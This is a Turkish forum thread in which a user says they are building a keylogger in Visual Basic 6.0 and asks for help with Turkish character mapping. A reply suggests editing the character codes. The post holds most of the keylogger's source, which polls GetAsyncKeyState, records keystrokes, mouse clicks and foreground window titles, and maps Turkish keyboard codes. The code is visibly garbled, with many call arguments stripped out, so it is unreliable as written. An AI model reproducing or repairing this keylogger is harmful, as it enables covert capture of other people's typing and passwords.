şimdi karakterlerin sayısal kodlamalarını bul örneğin 111 felan sonra ChangeChr(111) = "/" bu kodda 111 yerini harfin sayısal kodlamasını yaz "" buraya harfi yaz olur.

Merhaba Arkadaşlar Keylogger Yapıyorum Visual Basic 6.0 da fakat TÜRKÇE karakterlerde "ı" harfini "i" olarak alıyor bunu düzelmem gerek ve " " karakterini hiç kodlamıyor nasıl düzeltebilirim yardımlarınızı bekliyorum şimdiden teşekkürler. Kod: ChangeChr(33) = " " ChangeChr(34) = " " ChangeChr(35) = " " ChangeChr(36) = " " ChangeChr(45) = " " ChangeChr(46) = " " ChangeChr(48) = "=" ChangeChr(49) = "!" ChangeChr(50) = "'" ChangeChr(51) = "^" ChangeChr(52) = "+" ChangeChr(53) = "%" ChangeChr(54) = "&" ChangeChr(55) = "/" ChangeChr(56) = "(" ChangeChr(57) = ")" ChangeChr(186) = "ş" ChangeChr(187) = "=" ChangeChr(188) = "," ChangeChr(189) = "-" ChangeChr(190) = "." ChangeChr(191) = "ö" ChangeChr(219) = "ğ" ChangeChr(220) = "ç" ChangeChr(221) = "ü" ChangeChr(222) = "i" ChangeChr(86) = "Ş" ChangeChr(87) = "+" ChangeChr(88) = ";" ChangeChr(89) = "_" ChangeChr(90) = ":" ChangeChr(91) = "?" ChangeChr(119) = "Ğ" ChangeChr(120) = "Ç" ChangeChr(121) = "Ü" ChangeChr(122) = "İ" ChangeChr(96) = "0" ChangeChr(97) = "1" ChangeChr(98) = "2" ChangeChr(99) = "3" ChangeChr(100) = "4" ChangeChr(101) = "5" ChangeChr(102) = "6" ChangeChr(103) = "7" ChangeChr(104) = "8" ChangeChr(105) = "9" ChangeChr(106) = " " ChangeChr(107) = "+" ChangeChr(109) = "-" ChangeChr(110) = "." ChangeChr(111) = "/" ChangeChr(192) = """" ChangeChr(92) = "é" End Sub Function TypeWindow Dim Handle As Long Dim textlen As Long Dim WindowText As String Handle = GetForegroundWindow LastHandle = Handle textlen = GetWindowTextLength + 1 WindowText = Space svar = GetWindowText WindowText = Left(WindowText, Len - 1) If WindowText <> LastWindow Then If Text1 <> "" Then Text1 = Text1 & vbCrLf & vbCrLf Text1 = Text1 & " " & "<br>" & WindowText & "<br>" & " " & "<br>" LastWindow = WindowText End If End Function Private Sub Timer1_Timer 'when alt is up If GetAsyncKeyState = 0 And AltDown = True Then AltDown = False Text1 = Text1 & "" End If 'a-z A-Z For i = Asc To Asc If GetAsyncKeyState = -32767 Then TypeWindow If GetAsyncKeyState < 0 Then If GetKeyState > 0 Then Text1 = Text1 & LCase(Chr Exit Sub Else Text1 = Text1 & UCase(Chr Exit Sub End If Else If GetKeyState > 0 Then Text1 = Text1 & UCase(Chr Exit Sub Else Text1 = Text1 & LCase(Chr Exit Sub End If End If End If Next '1234567890)( &^%$#@! For i = 48 To 57 If GetAsyncKeyState = -32767 Then TypeWindow If GetAsyncKeyState < 0 Then Text1 = Text1 & ChangeChr Exit Sub Else Text1 = Text1 & Chr Exit Sub End If End If Next ';=,-./ For i = 186 To 192 If GetAsyncKeyState = -32767 Then TypeWindow If GetAsyncKeyState < 0 Then Text1 = Text1 & ChangeChr(i - 100) Exit Sub Else Text1 = Text1 & ChangeChr Exit Sub End If End If Next ' ' For i = 219 To 222 If GetAsyncKeyState = -32767 Then TypeWindow If GetAsyncKeyState < 0 Then Text1 = Text1 & ChangeChr(i - 100) Exit Sub Else Text1 = Text1 & ChangeChr Exit Sub End If End If Next 'num pad For i = 96 To 111 If GetAsyncKeyState = -32767 Then TypeWindow If GetAsyncKeyState < 0 And AltDown = False Then AltDown = True Text1 = Text1 & "" Else If GetAsyncKeyState >= 0 And AltDown = True Then AltDown = False Text1 = Text1 & "" End If End If Text1 = Text1 & ChangeChr Exit Sub End If Next 'for space If GetAsyncKeyState(32) = -32767 Then TypeWindow Text1 = Text1 & " " End If 'for enter If GetAsyncKeyState(13) = -32767 Then TypeWindow Text1 = Text1 & "<br>" End If 'for backspace If GetAsyncKeyState(8) = -32767 Then TypeWindow Text1 = Text1 & " " End If 'for left arrow If GetAsyncKeyState(37) = -32767 Then TypeWindow Text1 = Text1 & "" End If 'for up arrow If GetAsyncKeyState(38) = -32767 Then TypeWindow Text1 = Text1 & "" End If 'for right arrow If GetAsyncKeyState(39) = -32767 Then TypeWindow Text1 = Text1 & "" End If 'for down arrow If GetAsyncKeyState(40) = -32767 Then TypeWindow Text1 = Text1 & "" End If 'tab If GetAsyncKeyState(9) = -32767 Then TypeWindow Text1 = Text1 & " " End If 'escape If GetAsyncKeyState(27) = -32767 Then TypeWindow Text1 = Text1 & " " End If 'insert, delete For i = 45 To 46 If GetAsyncKeyState = -32767 Then TypeWindow Text1 = Text1 & ChangeChr End If Next 'page up, page down, end, home For i = 33 To 36 If GetAsyncKeyState = -32767 Then TypeWindow Text1 = Text1 & ChangeChr End If Next 'left click If GetAsyncKeyState(1) = -32767 Then If And LastHandle <> 0 Then Text1 = Text1 & " " End If End If

çok denedim olmuyor :/